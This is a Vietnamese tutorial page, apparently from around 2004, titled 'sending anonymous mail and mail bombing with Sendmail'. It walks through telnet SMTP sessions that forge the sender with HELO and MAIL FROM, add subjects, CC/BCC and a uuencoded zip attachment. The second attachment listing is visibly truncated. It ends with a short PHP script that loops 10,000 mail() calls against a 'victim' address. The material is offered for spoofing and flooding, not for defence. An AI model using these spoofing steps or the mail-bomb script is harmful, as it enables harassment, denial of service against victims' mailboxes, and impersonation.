hn4u @ Last updated 21/11/04 22:42
Go to my homepage at http://4u.jcisio.com
Full version available at http://4u.jcisio.com/r/article553.htm

Vicki

Gởi thư nặc danh và dội bom thư bằng Sendmail

Giới thiệu

Hiện nay có rất nhiều chương trình gởi thư nặc danh và dội bom thư như Ghost, Avalave, ..! Tuy nhiên, chúng lại đòi hỏi một máy chủ SMTP - Simple Mail Transfer Protocol(Giao thức chuyển thư đơn giản) cho phép "reply". Mà như bạn biết đó, khó mà có thể tìm kiếm được một SMTP server như thế. VDC, FTP cũng như các SMTP server trong nước rồi sẽ đóng cửa "reply" đối với các SMTP server của họ trong thời gian ngắn sắm tới thôi! Tìm một SMTP server của nước ngoài, không phải dễ kiếm được đâu?! Đừng sợ gì hết, đã có Sendmail giúp bạn rồi! Sendmail được cài đặt hầu hết trên các Unix * hiện nay. Đặc biệt là nó được cài đặt rất nhiều trên các web-hosting! Như vậy bạn sẽ dễ dàng kiếm được vài cái máy chủ chạy Sendmail cho mình!

Phân tích

Sendmail là gì?

Sendmail là một deamon chạy trên cổng 25. Nó dùng giao thức TCP. Gần như tất cả (99%) các máy chủ Unix* đều cài đặt Sendmail vì đây là mặc định mà! Nhiệm vụ chính, số một đó! của sendmail là phân phát thư trên mạng. Sendmail cũng gần giống như SMTP thôi, các lệnh SMTP đều có thể dùng được!

Thử gởi một lá thư nặc danh bằng Sendmail

Okay, đầu tiên hãy telnet đến máy chủ chạy Sendmail mà bạn biết, trên cổng 25! Tiếp theo bạn có thể phát lệnh SMTP bình thường để gởi thư(nếu bạn không biết thì gõ HELP để gọi hướng dẫn)! Hãy xem qua ví dụ sau:

C:\windows>telnet mail.isp.com 25

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)

helo ankit.com

250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you

mail from: ankit@bol.net.in

250 ankit@bol.net.in... Sender ok

rcpt to: namitas@bol.net.in

250 namitas@bol.net.in... Recipient ok

data

354 Enter mail, end with "." on a line by itself

Hãy nhập vào nội dung thư tại đây.

.

250 RAA0000001693 Message accepted for delivery

The headers of the above email as seen by the recipient is as follows:

Return-Path:

Received: from ankit.com by mail.isp.com (8.9.1/1.1.20.3/07Jul00-0916AM)

id RAA0000001693; Thu, 7 Dec 2000 17:19:49 +0530 (IST)

Date: Thu, 7 Dec 2000 17:19:49 +0530 (IST)

From: Ankit Fadia <ankit@bol.net.in>

Message-Id: <200012071149.RAA0000001693@mail.isp.com>

X-UIDL: 920156a3b926c5193036933e6d04efd5

quit

221 Aba be

Giải thích: đầu tiên chúng ta telnet đến mail.isp.com ở cổng 25. Thật may, chúng ta nhận được một dòng thông báo rất quan trọng "ESMTP Sendmail 8.9.1". Như vậy server này đang chạy Sendmail, ổn rồi! Tiếp theo gõ "helo ankit.com". Hihi, đây chẳng qua là làm nhái nơi gởi thôi! Lệnh tiếp theo "mail from: ankit@bol.net.in" cho biết lá thư này được gởi từ ankit@bol.net.in! "rcpt to: namitas@bol.net.in" cho biết người nhận là namitas@bol.net.in. Tiếp theo, ta gõ lệnh "data" và nhập vào nội dung của thư. Đến khi nào gõ xong rồi thì gõ và gõ thêm một dấu chấm ".". Như vậy là lá thư nặc danh của chúng ta đã được gởi đi rồi đó! Cuối cùng chúng ta gõ "quit" để đóng kết nối!

Có hay không có subject?

ở ví dụ trên, chúng ta không đặt subject cho thư. Theo mặc định thì Sendmail sẽ đặt subject là thời gian hiện tại trên máy chủ! Chúng ta cần thay đổi lại subject của thư..! Bằng cách nào đây? Dễ thôi, sau khi nhập xong lệnh "data", bạn gõ vào theo dạng sau: subject: . Hãy xem ví dụ sau, chúng ta cần gởi một lá thư nặc danh như sau:

Mail Server: mail.isp.com

Recipient's Email Address: namitas@bol.net.in

Sender's Email Address: ankit@bol.net.in

Subject: Hi!!!

Body: This is a test message

Okay!

C:\windows>telnet mail.isp.com

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)

helo ankit.com

250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you

mail from: ankit@bol.net.in

250 ankit@bol.net.in... Sender ok

rcpt to: namitas@bol.net.in

250 namitas@bol.net.in... Recipient ok

data

354 Enter mail, end with "." on a line by itself

subject: Hi!!!

This is a test message

.

250 RAA0000001693 Message accepted for delivery

Nếu xem phần header của lá thư được gởi, bạn sẽ thấy như sau:

Return-Path:

Received: from ankit.com by mail.isp.com (8.9.1/1.1.20.3/07Jul00-0916AM)

id RAA0000001693; Thu, 7 Dec 2000 17:19:49 +0530 (IST)

Date: Thu, 7 Dec 2000 17:19:49 +0530 (IST)

From: Ankit Fadia

Message-Id: <200012071149.RAA0000001693@mail.isp.com>

Subject: Hi!!!!

X-UIDL: 920156a3b926c5193036933e6d04efd5

This is a test message

Phần subject và body của thư được phân cách nhau bởi một dòng có nội dung "X-UIDL: 920156a3b926c5193036933e6d04efd5"!

CC và BCC!

CC - đồng gởi! Để gởi một lá thư đến nhiều người cùng một lúc, chúng ta chỉ cần dùng rcpt to: nhiều lần! Ví dụ, tôi cần gởi một lá thư từ test@bol.net.in đến:

To: ankit@bol.net.in; ankitfadia@hotmail.com

CC: ankit_Fadia@hotmail.com ; namitas@bol.net.in

Okay!

C:\windows>telnet mail.isp.com

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)

helo ankit.com

250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you

mail from: test@bol.net.in

250 test@bol.net.in... Sender ok

rcpt to: ankit@bol.net.in

250 ankit@bol.net.in... Recipient ok

rcpt to: ankitfadia@hotmail.com

250 ankitfadia@hotmail.com... Recipient ok

rcpt to: ankit_fadia@hotmail.com

250 ankit_Fadia@hotmail.com... Recipient ok

rcpt to: namitas@bol.net.in

250 namitas@bol.net.in... Recipient ok

data

354 Enter mail, end with "." on a line by itself

subject: Test

.

250 RAA0000001693 Message accepted for delivery

Chắc bạn hiểu chứ!

BCC - gởi một bản sao! Cái thì thì cũng gần giống như CC thôi. Tuy nhiên BCC làm việc trong các phiên kết nối khác nhau. Trong khi CC lại làm việc trong một phiên kết nối duy nhất. Cũng là ví dụ trên, tôi cần BCC đến 4 người là ankit@bol.net.in; ankitfadia@hotmail.com; ankit_Fadia@hotmail.com; namitas@bol.net.in thì tôi thực hiện 4 kết nối đến server. Mỗi lần tôi chỉ gởi cho một người bằng lệnh "rcpt to: ". Thật là bất tiện phải không, tuy nhiên, cũng có cái lợi đó. ankit_Fadia@hotmail.com không thể biết được địa chỉ email của ankitfadia@hotmail.com; ankit_Fadia@hotmail.com; namitas@bol.net.in hoặc namitas@bol.net.in không thể biết được địa chỉ email của ankit@bol.net.in; ankitfadia@hotmail.com; ankit_Fadia@hotmail.com , ... Trong khi nếu dùng CC thì một người trong sô họ sẽ biết được địa chỉ email của những người còn lại vì đồng gởi mà! Hi hi!

Gởi file đính kèm

Bây giờ bạn cần đính kèm một file trong thư! Trước hết bạn cần encode file này sang dạng Uue-Base64! Sau đó gộp nội dung của file đã encode sang dạng uue vào phần body của thư là xong! Ví dụ tôi cần gởi đính kèm file new.zip vào lá thư cần gởi đi. Trước hết, dùng Winzip mở file new.zip, chọn Actions/UUencode(Shift-U) để encode file new.zip sang dạng uue, new.uue. Nội dung của new.uue có dạng như sau:

Mã lệnh
_=_
_=_ Part 001 of 001 of file new.zip
_=_
begin 666 new.zip
M4$L#!!0``@`(`#5S_RCDJL7+;P```'4````'````;F5W+F=I9G/W=+.P3)1G
MX&%8R``"_T$`Q%#\R<+(P,#(H`/B@.0=F-QZ\INZ%.\\$DX(:]"N_76TM7"V
M:6]\T+)755;)-P(C;UB]*)FR+OSYCGV';_HI7<P)::DQ$Y_Y[%*(UX1`H4U;
M3Z55KVB;<EV#@<$:`%!+`0(4`!0``@`(`#5S_RCDJL7+;P```'4````'````
K````````(`"V@0````!N97<N9VEF4$L%!@`````!``$`-0```)0`````````
`
end

(3 dòng đầu _=_ ... chỉ là các dùng ghi chú)

Tiếp theo là...

C:\windows>telnet mail.isp.com

220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)

helo ankit.com

250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you

mail from: ankit@bol.net.in

250 ankit@bol.net.in... Sender ok

rcpt to: namitas@bol.net.in

250 namitas@bol.net.in... Recipient ok

data

354 Enter mail, end with "." on a line by itself

subject: Hi you!!!

Check file new.zip for fun!

begin 666 new.zip

M4$L#!!0``@`(`#5S_RCDJL7+;P```'4````'````;F5W+F=I9G/W=+.P3)1G

MX&%8R``"_T$`Q%#\R<+(P,#(H`/B@.0=F-QZ\INZ%.\\$DX(:]"N_76TM7"V

M:6]\T+)755;)-P(C;UB]*)FR+OSYCGV';_HI7Q$Y_Y[%*(UX1`H4U;

M3Z55KVB;

K````````(`"V@0````!N97

`

end

.

250 RAA0000001693 Message accepted for delivery

Đây chỉ là ví dụ minh họa để bạn hiểu mà thôi! Nếu bạn dùng telnet chắc bạn phải gõ vào mỏi cả tay đó! Thử viết một chương trình hoặc sử dụng các chương trình email khác đi! Hihi!

Dội bom thư

Chẵng qua chỉ là gởi vô khối thư có nội dung giống nhau hoặc không ra gì đến nạn nhân! Sau đây là một ví dụ nhỏ về bom thư được viết bằng PHP!

Mã lệnh (PHP)
<?
$email="victim@mail.com";
$subject="Hi you";
$message="No, sorry!";
for (
$i=0;$i<10000;$i++){
mail($email,$subject,$message);
}
?>

Hi vọng qua bài viết này bạn hiểu rõ hơn về Sendmail! Chúc bạn thành công!


hainam4u @ Last updated 21/11/04 22:42
Go to my homepage at http://4u.jcisio.com